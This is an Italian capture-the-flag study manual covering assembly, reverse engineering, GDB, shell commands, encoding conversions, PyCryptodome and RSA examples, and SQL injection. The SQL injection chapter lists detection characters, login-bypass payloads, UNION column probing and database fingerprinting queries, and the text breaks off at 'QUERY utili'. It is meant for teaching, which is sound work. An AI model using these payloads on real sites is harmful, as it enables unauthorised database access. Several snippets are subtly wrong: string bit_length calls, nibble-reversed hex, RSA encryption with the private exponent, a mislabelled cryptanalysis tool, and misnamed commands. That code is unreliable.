

# Capture the Flag Manual

*Alessio Gjergji*  
*Nicolò Piccoli*  
*Davide Rossignolo*

# Indice

<b>1</b>	<b>Software Security OlyCyber</b>	<b>4</b>
1.1	Introduzione . . . . .	4
1.2	Assembly x86_64 . . . . .	4
1.3	Buffer Overflow . . . . .	4
1.3.1	Accessi out of bound . . . . .	5
1.4	Reverse Engineering . . . . .	5
1.4.1	Binary . . . . .	5
1.4.2	Memoria a basso livello . . . . .	5
1.4.3	Spazio virtuale linux user space . . . . .	6
1.4.4	metodologie di base di reverse . . . . .	6
<b>2</b>	<b>Software Security</b>	<b>7</b>
2.1	Elf File . . . . .	7
2.2	Memoria . . . . .	7
2.2.1	Storage Size . . . . .	7
2.2.2	Hexadecimal . . . . .	7
2.2.3	Registri x86_32 . . . . .	8
2.2.4	x86 Memory Management . . . . .	8
2.3	Intel x86 Instruction Set . . . . .	8
2.4	Debugging con GDB . . . . .	9
2.4.1	Comandi di GDB . . . . .	9
<b>3</b>	<b>Comandi terminale</b>	<b>10</b>
3.1	Introduzione . . . . .	10
3.2	Comandi di base . . . . .	10
3.3	Operazioni sulle directory . . . . .	10
3.3.1	cd . . . . .	10
3.3.2	ls . . . . .	11
3.4	Operazioni sui file . . . . .	11
3.4.1	touch . . . . .	11
3.4.2	cat . . . . .	11
3.4.3	cp, mv, rm, file . . . . .	11
3.4.4	head, tail . . . . .	12

3.4.5	strings . . . . .	12
3.5	Ricerca . . . . .	12
3.5.1	sort, unique . . . . .	12
3.5.2	grep . . . . .	12
3.5.3	find . . . . .	12
3.6	Connessioni ssh o tcp . . . . .	13
3.7	Gestione dei processi . . . . .	13
<b>4</b>	<b>Crittografia</b> . . . . .	<b>14</b>
4.1	Conversioni . . . . .	14
4.1.1	Decodifica da numero in base 2 a big endian . . . . .	14
4.1.2	Decodifica da numero in base 2 a little endian . . . . .	14
4.1.3	Decodifica da numero in base 8 a big endian . . . . .	14
4.1.4	Decodifica da numero in base 8 a little endian . . . . .	14
4.1.5	Decodifica da numero in base 10 a big endian . . . . .	14
4.1.6	Decodifica da numero in base 10 a little endian . . . . .	15
4.1.7	Decodifica da numero in base 16 a big endian . . . . .	15
4.1.8	Decodifica da numero in base 16 a little endian . . . . .	15
4.1.9	Decodifica da numero in base 32 a big endian . . . . .	15
4.1.10	Decodifica da numero in base 32 a little endian . . . . .	15
4.1.11	Decodifica da numero in base 58 a big endian . . . . .	15
4.1.12	Decodifica da numero in base 58 a little endian . . . . .	15
4.1.13	Decodifica da numero in base 64 a big endian . . . . .	15
4.1.14	Decodifica da numero in base 64 a little endian . . . . .	16
4.2	One-Time Pad . . . . .	16
4.3	Crittoanalisi differenziale . . . . .	16
4.4	Libreria PyCryptodome . . . . .	16
4.4.1	DES . . . . .	16
4.4.2	AES . . . . .	17
4.4.3	Stream cipher . . . . .	18
4.4.4	Hash . . . . .	18
4.4.5	RSA . . . . .	19
4.5	Aritmetica Modulare . . . . .	19
4.5.1	Proprietà . . . . .	19
4.5.2	Aritmetica Modulare . . . . .	20
<b>5</b>	<b>SQL injection</b> . . . . .	<b>21</b>
5.1	Introduzione . . . . .	21
5.2	Funzionamento . . . . .	21
5.2.1	Esempio . . . . .	21
5.3	Bypass dell'autenticazione . . . . .	22
5.4	Payload per il bypass . . . . .	22
5.5	Union injection . . . . .	23
5.5.1	Trovare il numero di colonne selezionate dal server . . . . .	23
5.6	Database enumeration . . . . .	24

---

5.6.1	Payloads . . . . .	24
5.6.2	INFORMATION_SCHEMA Database . . . . .	24
5.7	Lettura di file . . . . .	25
5.8	Scrittura di file . . . . .	26
5.8.1	Scrittura di una WebShell sul back-end . . . . .	26
5.8.2	NOTA . . . . .	26

# Capitolo 1

## Software Security OlyCyber

### 1.1 Introduzione

I numeri interi, in questo caso `int32`, possono essere rappresentati in due maniera, Big-Endian (*cifra significativa a sinistra*) e Little-Endian (*cifra significativa a destra*).

### 1.2 Assembly x86\_64

Ogni istruzione assembly ha degli operandi (*registri*) e un'operazione.

La notazione per architetture intel è del tipo  $\langle \text{op} \rangle \langle \text{destinazione} \rangle \langle \text{sorgente} \rangle$ , i registri hanno la seguente struttura: `AH, AL` → 8 bit, `AX` → 16 bit, `EAX` → 32 bit, `RAX` → 64 bit.

Tra le operazioni di base che troviamo ci sono:

- `MOV` $\langle \text{dst} \rangle \langle \text{src} \rangle$
- `PUSH` $\langle \text{src} \rangle$  oppure `POP` $\langle \text{src} \rangle$
- `ADD` oppure `SUB` $\langle \text{dst} \rangle \langle \text{src} \rangle$
- `CALL` $\langle \text{pc} \rangle$  oppure `RET`

Tra i salti condizionali invece abbiamo:

- `CMP` $\langle \text{opn}_1 \rangle \langle \text{opn}_2 \rangle$ : confronta due valori e imposta delle flag
- `J` $\langle \text{condizione} \rangle \langle \text{pc} \rangle$ : salta a PC se le flag soddisfano la condizione

### 1.3 Buffer Overflow

Consideriamo di aver dichiarato in C un'istruzione del tipo “`char name[100];`”, cosa succede se l'utente ha un nome che supera i 100 caratteri?. Può succedere che con `scanf()` andiamo a scrivere caratteri oltre la fine di name, andando a sovrascrivere la memoria che lo segue,

generando quindi un *buffer overflow* che va a corrompere la memoria, ossia scriviamo dati in posizioni che il programmatore non aveva previsto fossero modificate.

Se corrompiamo abbastanza bene la memoria possiamo addirittura prendere il controllo del processo (*arbitrary code execution*).

### 1.3.1 Accessi out of bound

Se abbiamo una `struct` che dichiara un `int a[2]` e un `int b[3]`, nel momento in cui scrivo in `a[2]` o in `b[0]` non cambia niente, sono equivalenti.

## 1.4 Reverse Engineering

### 1.4.1 Binary

Gli eseguibili nativi sono file che contengono codice macchina eseguibile dal processore, contengono anche informazioni usate dal sistema operativo per caricarlo in memoria.

Il formato `.elf` è flessibile e serve a rappresentare i file binari, in linux è usato per rappresentare eseguibili e librerie condivise, ad alto livello invece risulta come un insieme di strutture che descrivono come caricare in memoria i dati salvati nello stesso file.

Per analizzare file `ELF` abbiamo alcuni strumenti tra cui:

- `readelf`: stampa le informazioni contenute nei file `.elf`
- `nm`: stampa tutti i simboli contenuti nel file `.elf`
- `objdump`: stampa le informazioni contenute nel file oggetto, è più specifico rispetto a `readelf`
- `lld`: stampa gli oggetti condivisi necessari all'esecuzione del programma
- `lief`: libreria python per analizzare e modificare file `.elf`.

### 1.4.2 Memoria a basso livello

Se vogliamo considerare un'astrazione della memoria troviamo vari livelli:

- **dati tipati**: byte interpretati
- linguaggi di programmazione
- **textbfmemoria virtuale**: sequenza di byte indirizzabili, spazio indipendente per processo, solo alcune aree mappate (con la fisica)
- sistema operativo
- **textbfmemoria fisica**: sequenza di byte indirizzabili

### 1.4.3 Spazio virtuale linux user space

- **Text** → codice eseguibile
- **Data** → dati globali inizializzati
- **BSS** → dati globali azzerati
- **Heap** → allocazioni dinamiche
- **Librerie** → binari librerie dinamiche
- **Stack** → var locali, record di attivazione

### 1.4.4 metodologie di base di reverse

I più famosi tool per analisi statica sono *Ghidra*, *IDA*, *Binary Ninja*, *Radare2* e servono per analizzare il codice binario.

- **JADX**: reverse bytecode **java**
- **dnSpy**, **ILSpy**: reverse bytecode **.NET**
- **uncompyle6/unpyc**: reverse bytecode **python**
- **Iuadec**: reverse bytecode **LUA**.

Tool per analisi dinamica:

- **gdb**: da usare con **GEF** o **PWNDBG**
- **radare2** integra features comode per il reversing
- **rr** timeless debugging
- **frida**: inietta codice js in qualsiasi punto del programma
- **ida**: debugger gui disponibile free.

## Capitolo 2

# Software Security

### 2.1 Elf File

È il file standard per gli eseguibili UNIX, **Elf** sta per Executable and Linkable Format, è essenzialmente un file binario che contiene varie informazioni tra cui:

- **header**: descrive il contenuto del file per l'esecuzione
- **Pht (program header table)**: da informazioni su come si crea l'immagine del processo
- **Sequenza di sezioni**: contengono ciò che serve per il linking
- **Section header table**: descrizione delle sezioni precedenti

Per Windows l'equivalente è PE, per Mac Mach-O.

### 2.2 Memoria

#### 2.2.1 Storage Size

- **WORD**: 2 bytes;
- **DWORD**: 4 bytes;
- **QWORD**: 8 bytes;

La cifra più significativa è a sinistra, quella meno è a destra.

#### 2.2.2 Hexadecimal

Si usa come forma compatta dei numeri binari, si va da 0 a 9 e da *A* a *F*. Ogni digit in hex rappresenta 4 bits, quindi 2 digit un byte, in C sono scritti come `0XA1D...`



### 2.2.3 Registri x86\_32

Ha registri general purpose a 32 bit. Sono strutturati nella seguente maniera: AH,AL 8 bit ciascuno, AX 16 bit, EAX 32 bit. EAX è storicamente usato come accumulatore, ECX come counter, inoltre ci sono ESP (*stack pointer*) e EBP (*base pointer*). Se passiamo a x86\_64 si aggiungono i registri a 64 bit che si nominano del tipo: RAX.

### 2.2.4 x86 Memory Management

La memoria è semplicemente una sequenza di bytes, ognuno con un indirizzo unico. I compilatori potrebbero introdurre padding per cambiare l'ordine dei dati per ottimizzare, per questo motivo ci torna comodo vederla come una matrice di tot righe con n bytes (n=processor word), se sono a 64 bit n=8. Un indirizzo è una locazione in memoria, un **puntatore** è un oggetto che mantiene un indirizzo. I bytes possono essere ordinati in memoria in due maniere:

- **Big-Endian**: il byte meno significativo ha indirizzo più alto
- **Little-Endian**: il byte meno significativo ha indirizzo più basso

## 2.3 Intel x86 Instruction Set

La notazione per architetture Intel è del tipo  $\langle op \rangle \langle destinazione \rangle \langle sorgente \rangle$ . Vediamo ora alcune istruzioni:

- **mov**: muove dati da un src a un registro dst
- **push**: mette l'operando sullo stack
- **pop**: rimuove l'operando dallo stack
- **lea**: carica ciò che c'è all'indirizzo [] in dst
- **add**: fa la somma e salva in op1
- **sub**: fa la differenza e salva in op1
- **inc**: incrementa di 1
- **and/or/xor**: fa l'operazione e salva in op1
- **jump**: salto non condizionale a label
- **cmp**: compara contenuto di op1 con op2
- **je/jne/jz/jg/jge/jl/jle**: in base a cmp fa salto condizionale
- **call**: usato per chiamare funzioni
- **ret**: implementa il ritorno da funzione

Per quanto riguarda lo stack, questo è formato da degli stack frames, uno per ogni funzione chiamata. Il **stack pointer** punta all'ultimo elemento nello stack (il primo inserito). Per

quanto riguarda ogni singolo frame, abbiamo che il **base pointer (frame pointer)** punta all'indirizzo dal quale partono le variabili locali.

## 2.4 Debugging con GDB

Posso usare gdb in varie maniere:

- `gdb<program>`
- `gdb<program><pid>`
- `gdb -p<pid>`

### 2.4.1 Comandi di GDB

- `run`: fa partire il programma in gdb
- `set args`: imposta gli argomenti del programma
- `show args`: mostra gli argomenti del programma
- `help`: comandi disponibili
- `break`: mette breakpoint alla prossima istruzione
- `break location`: mette un breakpoint alla locazione `location` (preceduta da `*`)
- `break[location]if<condition>`: mette un breakpoint data una condizione
- `continue(c)`: va al prossimo breakpoint (se esiste)
- `nexti(ni)`: esegue solo un'istruzione
- `frame[<selection>]`: stampa una descrizione dello stack frame selezionato
- `info frame[<selection>]`: stampa una descrizione più informativa rispetto a `frame`
- `disas`: disassembla una funzione
- `print(p)`: stampa il contenuto di un indirizzo o registro (`*0x092A3E` o `$EAX`)
- `x`: non ho ben capito
- `call`: chiama una funzione
- `set`: modifica il valore di una locazione di memoria o di un registro

## Capitolo 3

# Comandi terminale

### 3.1 Introduzione

Durante una ctf potremmo trovarci di fronte ad alcune challenge in cui è necessario l'utilizzo di vari comandi della shell per recuperare la flag richiesta e quindi passare alla challenge successiva. Di seguito vedremo alcuni comandi della shell per sistemi UNIX o macOS che possono tornare utili.

### 3.2 Comandi di base

Se si conosce un comando ma non si sa come utilizzarlo è bene consultare il manuale scrivendo sul terminale `man <command>`. Se non è presente la pagina del manuale provare a specificare il flag `--help`.

### 3.3 Operazioni sulle directory

#### 3.3.1 cd

Per navigare attraverso il filesystem utilizziamo il comando `cd dir`.

- `cd esempio` (ci spostiamo nella cartella *esempio*)
- `cd Dekstop/esempio` (ci spostiamo nella cartella *esempio* identificata dal suo path)
- `cd ..` (ci permette di spostarci nella cartella superiore)
- `cd ~` (ci spostiamo nella home directory)
- `cd /` (ci spostiamo nella root directory)

Per creare una cartella utilizziamo il comando `mk dir`, se invece vogliamo vedere la cartella corrente utilizziamo il comando `pwd`.

### 3.3.2 `ls`

Se vogliamo vedere i file all'interno di una cartella utilizziamo il comando **ls**.

- `ls` (mostra i file nella cartella corrente)
- `ls Desktop/esempio` (mostra i file all'interno della cartella *esempio* identificata dal path)

Tra le opzioni del comando **ls** possiamo trovare:

- `-a` (mostra tutti i file, inclusi quelli nascosti)
- `-r` (inverte l'ordine della lista)
- `-t` (ordina in base all'ultimo modificato)
- `-S` (ordina per dimensione del file)

## 3.4 Operazioni sui file

### 3.4.1 `touch`

Per creare un file utilizzare il comando **touch file**.

### 3.4.2 `cat`

Il comando **cat** permette di concatenare file e stampare il loro contenuto sullo standard output.

- `cat file` (stampa il contenuto del file, se vengono specificati più file li concatena e stampa il contenuto, e.g. `cat file file2`)
- `cat < -file` (permette di stampare il contenuto di un file con il nome che inizia con un dash)
- `cat "nome file con spazi"` (permette di stampare il contenuto di un file che contiene spazi nel nome)
- `cat .file` (stampa il contenuto del file nascosto)

### 3.4.3 `cp`, `mv`, `rm`, `file`

- `cp file file2` (copia file in file2)
- `mv file file2` (rinomina file in file2)
- `rm file` (elimina file)
  - `rm -r` (rimuove le directory e i loro contenuti)
  - `rm -d` (rimuove directory vuote)
- `file file1` (ritorna il tipo di file1)

### 3.4.4 head, tail

- `head file1` (ritorna le prime 10 linee di file1)
- `tail file1` (ritorna le ultime 10 linee di file1)

### 3.4.5 strings

Il comando `strings` stampa una sequenza di stringhe leggibili all'interno di un file.

- `strings file`
  - con il flag `-n number-of-lines` (specifichiamo la lunghezza minima delle stringhe)
  - con il flag `-e encoding` (specifichiamo la codifica)
  - con il flag `-w` (includiamo gli spazi bianchi)
  - con il flag `-s` (il separatore per l'output)

## 3.5 Ricerca

### 3.5.1 sort, unique

Il comando `sort file` permette di ordinare le linee all'interno di un file, il comando `unique -u` permette di mostrare le linee uniche non duplicate, questi due comandi possono essere comodi da usare in combinazione attraverso l'utilizzo di una pipe: `sort nomefile | unique -u`.

### 3.5.2 grep

Il comando `grep pattern files` permette di cercare un determinato pattern in ogni file, i pattern andrebbero specificati sempre compresi tra doppi apici.

- `grep -i` (ricerca case-insensitive)
- `grep -r` (ricerca ricorsiva)
- `grep -v` (ricerca invertita)
- `grep -o` (mostra solo la parte di file che ha matchato il pattern)

### 3.5.3 find

Il comando `find` permette di cercare dei file all'interno del filesystem.

- `find /percorso -name "filename"` (ricerca per nome)
- `find /percorso -name "*.txt"` (ricerca per estensione)
- `find /percorso -type f -size +1M` (ricerca per dimensione)
- `find /percorso -user utente -group gruppo` (ricerca per proprietario e gruppo)

- `find /percorso -mtime -7` (ricerca per data di modifica)

### 3.6 Connessioni ssh o tcp

Connessione ad una risorsa in `ssh`:

- `ssh -p numero-porta utente@indirizzo-del-server`

Connessione tramite `tcp`:

- `nc host port`

### 3.7 Gestione dei processi

- `ps` (mostra uno snapshot dei processi)
- `top` (mostra i processi real-time)
- `kill pid` (termina un processo con il pid=pid)
- `pkill name` (termina un processo col nome=name)
- `killall name` (termina tutti i processi con il nome che inizia per name)

# Capitolo 4

## Crittografia

### 4.1 Conversioni

#### 4.1.1 Decodifica da numero in base 2 a big endian

```
1 result = '101010'  
2 result = int(result, 2).to_bytes((result.bit_length() + 7) // 8, 'big').  
    decode('utf-8')
```

#### 4.1.2 Decodifica da numero in base 2 a little endian

```
1 result = '101010'  
2 result = int(result, 2).to_bytes((result.bit_length() + 7) // 8, 'little').  
    .decode('utf-8')
```

#### 4.1.3 Decodifica da numero in base 8 a big endian

```
1 result = '1234'  
2 result = int(result, 8).to_bytes((result.bit_length() + 7) // 8, 'big').  
    decode('utf-8')
```

#### 4.1.4 Decodifica da numero in base 8 a little endian

```
1 result = '1234'  
2 result = int(result, 8).to_bytes((result.bit_length() + 7) // 8, 'little').  
    .decode('utf-8')
```

#### 4.1.5 Decodifica da numero in base 10 a big endian

```
1 result = 1234  
2 result = result.to_bytes((result.bit_length() + 7) // 8, 'big').decode('utf-8')
```

#### 4.1.6 Decodifica da numero in base 10 a little endian

```
1 result = 1234
2 result = result.to_bytes((result.bit_length() + 7) // 8, 'little').decode('utf-8')
```

#### 4.1.7 Decodifica da numero in base 16 a big endian

```
1 result = '1234'
2 result = bytes.fromhex(result).decode('utf-8')
```

#### 4.1.8 Decodifica da numero in base 16 a little endian

```
1 result = '1234'
2 result = bytes.fromhex(result[::-1]).decode('utf-8')
```

#### 4.1.9 Decodifica da numero in base 32 a big endian

```
1 import base64
2
3 result = '1234'
4 result = base64.b32decode(result).decode('utf-8')
```

#### 4.1.10 Decodifica da numero in base 32 a little endian

```
1 import base64
2
3 result = '1234'
4 result = base64.b32decode(result[::-1]).decode('utf-8')
```

#### 4.1.11 Decodifica da numero in base 58 a big endian

```
1 import base58
2
3 result = '1234'
4 result = base58.b58decode(result).decode('utf-8')
```

#### 4.1.12 Decodifica da numero in base 58 a little endian

```
1 import base58
2
3 result = '1234'
4 result = base58.b58decode(result[::-1]).decode('utf-8')
```

#### 4.1.13 Decodifica da numero in base 64 a big endian

```
1 import base64
2
3 result = '1234'
4 result = base64.b64decode(result).decode('utf-8')
```



#### 4.1.14 Decodifica da numero in base 64 a little endian

```

1 import base64
2
3 result = '1234'
4 result = base64.b64decode(result)[::-1].decode('utf-8')
```

## 4.2 One-Time Pad

Un dettaglio fondamentale per ottenere sicurezza perfetta è che la chiave sia lunga tanto quanto il messaggio.

Nel caso in cui la chiave sia molto corta (*e ripetuta, per esempio*) potrebbe essere possibile un attacco a forza bruta: provare tutte le chiavi candidate e vedere per quale si ottiene un risultato sensato. La ripetizione di pattern all'interno del messaggio cifrato è un indizio che la chiave sia corta.

```

1 def xor(a, b):
2     return bytes([x^y for x,y in zip(a,b)])
3
4 num = bytes.fromhex('104e137f42')
5
6 for i in range(256):
7     key = i.to_bytes(1, 'big')*len(num)
8     result = xor(num, key)
9     if result.isascii():
10         result = result.decode('ascii')
11         print('key: ', i, 'result: ', result)
```

Nel caso descritto la chiave è di un solo byte, quindi si prova a cifrare il messaggio con tutte le chiavi possibili e si controlla se il risultato è un testo ASCII.

## 4.3 Crittoanalisi differenziale

Per utilizzare la crittoanalisi differenziale è necessario avere a disposizione un *oracolo* che cifri un messaggio arbitrario con una chiave segreta. Installando il tool MTP possiamo ottenere una parziale implementazione del messaggio.

```

1 $ pip3 install mtp
2 $ mtp <file>
```

## 4.4 Libreria PyCryptodome

### 4.4.1 DES

```

1 from Crypto.Cipher import DES
2 from Crypto.Util.Padding import pad
3 from Crypto.Random import get_random_bytes
4 from binascii import hexlify, unhexlify
5
```

```
6     # Chiave in formato esadecimale
7     key_hex = '1bb4545801ca1e93'
8     key = unhexlify(key_hex)
9
10    # Testo in chiaro
11    plaintext = 'La lunghezza di questa frase non e divisibile per 8'
12
13    # Applicare lo schema di riempimento x923
14    plaintext = pad(plaintext.encode('utf-8'), DES.block_size, style='x923')
15
16    # Generare un vettore di inizializzazione casuale
17    iv = get_random_bytes(DES.block_size)
18
19    # stampo Che IV hai utilizzato (in esadecimale)
20    print('IV: ' + hexlify(iv).decode('utf-8') + '\n')
21
22    # Creare un oggetto DES in modalita' CBC
23    cipher = DES.new(key, DES.MODE_CBC, iv)
24
25    # Cifrare il testo in chiaro
26    ciphertext = cipher.encrypt(plaintext)
27
28    # Stampare il testo cifrato in formato esadecimale
29    print("Text: " + hexlify(ciphertext).decode('utf-8') + "\n")
```

#### 4.4.2 AES

```
1     from Crypto.Cipher import AES
2     from Crypto.Util.Padding import pad
3     from Crypto.Random import get_random_bytes
4     from binascii import hexlify, unhexlify
5
6     # Generare una chiave casuale AES256 in formato esadecimale
7     key = get_random_bytes(32) # 32 byte per AES256
8
9     # Testo in chiaro
10    plaintext = 'Mi chiedo cosa significhi il numero nel nome di questo
11               algoritmo.'
12
13    # Applicare lo schema di riempimento PKCS7
14    plaintext = pad(plaintext.encode('utf-8'), AES.block_size)
15
16    # Generare un vettore di inizializzazione casuale
17    iv = get_random_bytes(AES.block_size)
18
19    # Stampo che IV hai utilizzato (in esadecimale)
20    print("IV:", hexlify(iv).decode('utf-8'))
21
22    # Creare un oggetto AES in modalita' CFB con segment size di 24
23    cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=24)
24
25    # Cifrare il testo in chiaro
26    ciphertext = cipher.encrypt(plaintext)
27
28    # Stampare la chiave in formato esadecimale
```

```
28     print("Chiave:", hexlify(key).decode('utf-8'))
29
30     # Stampare il testo cifrato in formato esadecimale
31     print("Testo cifrato:", hexlify(ciphertext).decode('utf-8'))
```

### 4.4.3 Stream cipher

```
1     from Crypto.Cipher import ChaCha20
2     from binascii import unhexlify
3
4     # Chiave in formato esadecimale
5     key_hex = '9d6a8f...'
6     key = unhexlify(key_hex)
7
8     # Testo cifrato in formato esadecimale
9     ciphertext_hex = 'b7e9ac6...'
10    ciphertext = unhexlify(ciphertext_hex)
11
12    # Nonce in formato esadecimale
13    nonce_hex = '76c24201d...'
14    nonce = unhexlify(nonce_hex)
15
16    # Creare un oggetto ChaCha20
17    cipher = ChaCha20.new(key=key, nonce=nonce)
18
19    # Decifrare il testo cifrato
20    plaintext = cipher.decrypt(ciphertext)
21
22    # Stampa il testo in chiaro
23    print(plaintext.decode('utf-8'))
```

### 4.4.4 Hash

```
1     from Crypto.Hash import SHA256
2     from binascii import hexlify
3
4     # Testo in chiaro
5     plaintext = 'La lunghezza di questa frase non e divisibile per 8'
6
7     # Creare un oggetto SHA256
8     h = SHA256.new()
9
10    # Aggiornare l'hash con il testo in chiaro
11    h.update(plaintext.encode('utf-8'))
12
13    # Calcolare l'hash
14    digest = h.digest()
15
16    # Stampa l'hash in formato esadecimale
17    print(hexlify(digest).decode('utf-8'))
```

### 4.4.5 RSA

L'algoritmo funziona con due primi  $p$  e  $q$  e un esponente pubblico  $e$ . L'algoritmo è il seguente:

1. Calcolare  $n = p \cdot q$
2. Calcolare  $\phi(n) = (p - 1)(q - 1)$
3. Calcolare  $d = e^{-1} \pmod{\phi(n)}$
4. La chiave pubblica è  $(n, e)$ , la chiave privata è  $(n, d)$

Per cifrare un messaggio  $m$  si calcola  $c = m^e \pmod{n}$ , per decifrarlo si calcola  $m = c^d \pmod{n}$ .

```

1  p = 36652254321470221037
2  q = 31629674241453983353
3  e = 65537
4  n = p * q
5  phi = (p - 1) * (q - 1)
6  d = pow(e, -1, phi)
7  print("n = ", n)
8
9  print("phi(n) = ", phi)
10
11 print("d = ", d)
12
13 stringa = "Stringa di prova"
14
15 numero = int(''.join(format(ord(char), '08b') for char in stringa), 2)
16
17 cifrato = pow(numero, d, n)
18
19 print("La stringa cifrata: ", cifrato)

```

## 4.5 Aritmetica Modulare

Diciamo che  $a \equiv b \pmod{n}$  se  $n$  divide  $a - b$ .

- $a \equiv b \pmod{n} \iff a \bmod n = b \bmod n$
- $a \equiv b \pmod{n} \iff \exists k \in \mathbb{Z} \mid a = b + kn$
- $a \equiv b \pmod{n} \iff \exists k \in \mathbb{Z} \mid a \bmod n = b + kn$

### 4.5.1 Proprietà

- $a \equiv a \pmod{n}$
- $a \equiv b \pmod{n} \implies b \equiv a \pmod{n}$
- $a \equiv b \pmod{n} \wedge b \equiv c \pmod{n} \implies a \equiv c \pmod{n}$
- $a \equiv b \pmod{n} \wedge c \equiv d \pmod{n} \implies a + c \equiv b + d \pmod{n}$

- $a \equiv b \pmod{n} \wedge c \equiv d \pmod{n} \implies ac \equiv bd \pmod{n}$

### 4.5.2 Aritmetica Modulare

La *aritmetica modulare* è una branca dell'aritmetica che si occupa delle operazioni sui numeri interi modulari rispetto a un modulo dato. Un concetto fondamentale è il *resto* di una divisione, spesso indicato come  $a \bmod m$ , che rappresenta il residuo della divisione di  $a$  per  $m$ .

Un'applicazione comune dell'aritmetica modulare è nel calcolo del *mcd* (massimo comune divisore) di due numeri. La funzione di Euclide è una tecnica classica che sfrutta l'aritmetica modulare per calcolare l'mcd. Ad esempio, se abbiamo due numeri  $a$  e  $b$ , possiamo utilizzare la funzione di Euclide estesa per trovare i coefficienti di Bezout  $x$  e  $y$  tali che  $a \cdot x + b \cdot y = \text{mcd}(a, b)$ .

$$\text{gcd}(a, b) = ax + by \quad (4.1)$$

In Python creiamo una funzione che calcola l'mcd di due numeri utilizzando la funzione di Euclide estesa.

```
1 def gcd(a, b):
2     if a == 0:
3         return b, 0, 1
4     else:
5         g, y, x = gcd(b % a, a)
6         return g, x - (b // a) * y, y
```

Questo concetto è spesso applicato in crittografia, dove la sicurezza si basa su operazioni modulari e il teorema di Fermat.

## Capitolo 5

# SQL injection

### 5.1 Introduzione

Gli attacchi di tipo SQL Injection rappresentano una delle più insidiose minacce in applicazioni che adottano l'utilizzo di un database relazionale. Si tratta di una vulnerabilità che sfrutta lacune nella gestione dei dati da parte di un'applicazione web per inserire o manipolare comandi SQL non autorizzati. L'obiettivo principale di questo tipo di attacco è quello di compromettere e ottenere accesso non autorizzato al database sottostante. Questa tipologia di attacco può verificarsi in molteplici contesti, ma spesso si manifesta quando gli sviluppatori non implementano in modo corretto la validazione degli input o trascurano l'utilizzo di parametri sicuri nei comandi SQL (prepared statements).

### 5.2 Funzionamento

Una SQL injection come detto in precedenza si verifica quando l'input dell'utente viene inserito all'interno di una query string senza essere sanitizzato o filtrato. Vediamo un esempio di query che non utilizza nessuna forma di sanitizzazione:

#### 5.2.1 Esempio

Analizziamo il seguente codice utilizzato per fare il login:

```
$user = mysql_query(
    "SELECT * FROM users
    WHERE username=" . $_POST[ 'username ' ] . " "
    AND password=" . $_POST[ 'password ' ] . " "
);
```

In una richiesta normale i valori di username e password vengono inseriti nella query tramite concatenazione di stringhe quindi se ad esempio abbiamo l'utente:

- username: admin, password: 123456

la query precedente diventerà così:

```
SELECT * FROM users
WHERE username='admin'
AND password='123456'
```

Aggiungendo un singolo apice nell'username provochiamo un errore di sintassi, potendo quindi scappare dagli apici è possibile iniettare del codice SQL. Per bypassare questo errore di sintassi è possibile inserire dei commenti o altri apici in modo da evitare l'errore.

```
SELECT * FROM users
WHERE username='admin' '--'
AND password='123456'
```

### 5.3 Bypass dell'autenticazione

Quando ci troviamo davanti ad un form di login che vogliamo bypassare per prima cosa dobbiamo verificare che se il form è vulnerabile ad una SQL injection. Per far ciò ci basta inserire uno dei seguenti payload dopo l'username e vedere se causa errori o cambiamenti nel comportamento della pagina.

Payload	URL Encoding
'	%27
"	%22
#	%23
;	%3B
)	%29

Tabella 5.1: Payload per scoprire la vulnerabilità

### 5.4 Payload per il bypass

**Importante** il trattino finale server ad indicare la presenza di uno spazio bianco dopo l'inserimento di un commento.

- ' OR 1 -- -
- ' OR 1 = 1 -- -
- ' OR '1' = '1'
- '=0-- -
- utente'-- -

Nota: utente deve essere l'username di un utente del sistema. Se il form che vogliamo bypassare ci mostra errori di sintassi nella query SQL dobbiamo aggiustare il nostro codice in modo da risolvere questi errori.

## 5.5 Union injection

L'operatore UNION può lavorare solo con SELECT che ritornano lo stesso numero di colonne. Nel caso in cui la query eseguita dal sistema ritorni più colonne di quelle della query che vogliamo eseguire noi in UNION dobbiamo inserire dei dati fantocci.

Esempio: Supponiamo che la query eseguita dal sistema sia fatta così:

```
SELECT name, price FROM products WHERE product_id = '1';
```

se noi vogliamo eseguire in UNION la seguente query:

```
SELECT username from password;
```

il sistema darà un errore, poiché il numero delle colonne non è uguale. Per risolvere il problema dobbiamo inserire dei dati fantoccio come di seguito:

```
SELECT name, price FROM products WHERE product_id = '1'  
UNION  
SELECT username,2 from password;
```

ovviamente dobbiamo inserire tanti dati fittizi quante sono le colonne ritornate dalla SELECT fatta dal sistema.

### 5.5.1 Trovare il numero di colonne selezionate dal server

Per trovare il numero di colonne selezionate dal server ci sono due metodi:

- usare la clausola **ORDER BY**
- usare la clausola **UNION**

#### Order By

Utilizziamo il seguente payload e continuiamo a cercare di ordinare il risultato per le varie colonne (e.g. 1,2,3,..) fino a che non otteniamo un errore. Il numero a cui siamo arrivati prima dell'errore ci indica il numero esatto di colonne della tabella.

- 'order by 1-- -

#### Union

L'altro metodo consiste nel tentare un'iniezione di Union con un numero diverso di colonne, finché non si ottengono i risultati con successo. Il primo metodo restituisce sempre i risultati finché non si verifica un errore, mentre questo metodo dà sempre un errore finché non si ha successo.



- `UNION select 1,2,3-- -`

### Attenzione

Mentre una query può restituire più colonne, l'applicazione web può visualizzarne solo alcune. Pertanto, se iniettiamo la nostra query in una colonna che non viene stampata sulla pagina, non otterremo il suo output. Per questo motivo, è necessario determinare quali colonne vengono stampate sulla pagina, per stabilire dove posizionare la nostra iniezione.

## 5.6 Database enumeration

Prima di enumerare il database, di solito è necessario identificare il tipo di DBMS con cui si ha a che fare. Come ipotesi iniziale, se il server web che vediamo nelle risposte HTTP è Apache o Nginx, è probabile che il server web sia in esecuzione su Linux, quindi il DBMS è probabilmente MySQL. Lo stesso vale per i DBMS Microsoft se il webserver è IIS, quindi è probabile che si tratti di MSSQL. Tuttavia, si tratta di un'ipotesi azzardata, poiché molti altri database possono essere utilizzati sia sul sistema operativo che sul server web. Esistono quindi diverse query che possiamo testare per individuare il tipo di database con cui abbiamo a che fare.

### 5.6.1 Payloads

- `SELECT @@version`
  - utilizzabile quando abbiamo l'output completo della query, ritorna la versione del database mySQL
- `SELECT POW(1,1)`
  - utilizzabile solo quando abbiamo output numerico. Ritorna 1.
- `SELECT SLEEP(5)`
  - ritarda la risposta per 5 secondi e ritorna 0.

### 5.6.2 INFORMATION\_SCHEMA Database

Per poter recuperare dei dati utilizzando la UNION dobbiamo scrivere in modo corretto la nostra query. Per farlo dobbiamo conoscere le seguenti informazioni:

- lista dei database
- lista delle tabelle all'interno di ogni database
- lista delle colonne di ogni tabella

Il database INFORMATION\_SCHEMA contiene metadati sulle tabelle presenti all'interno del server.

## QUERY utili

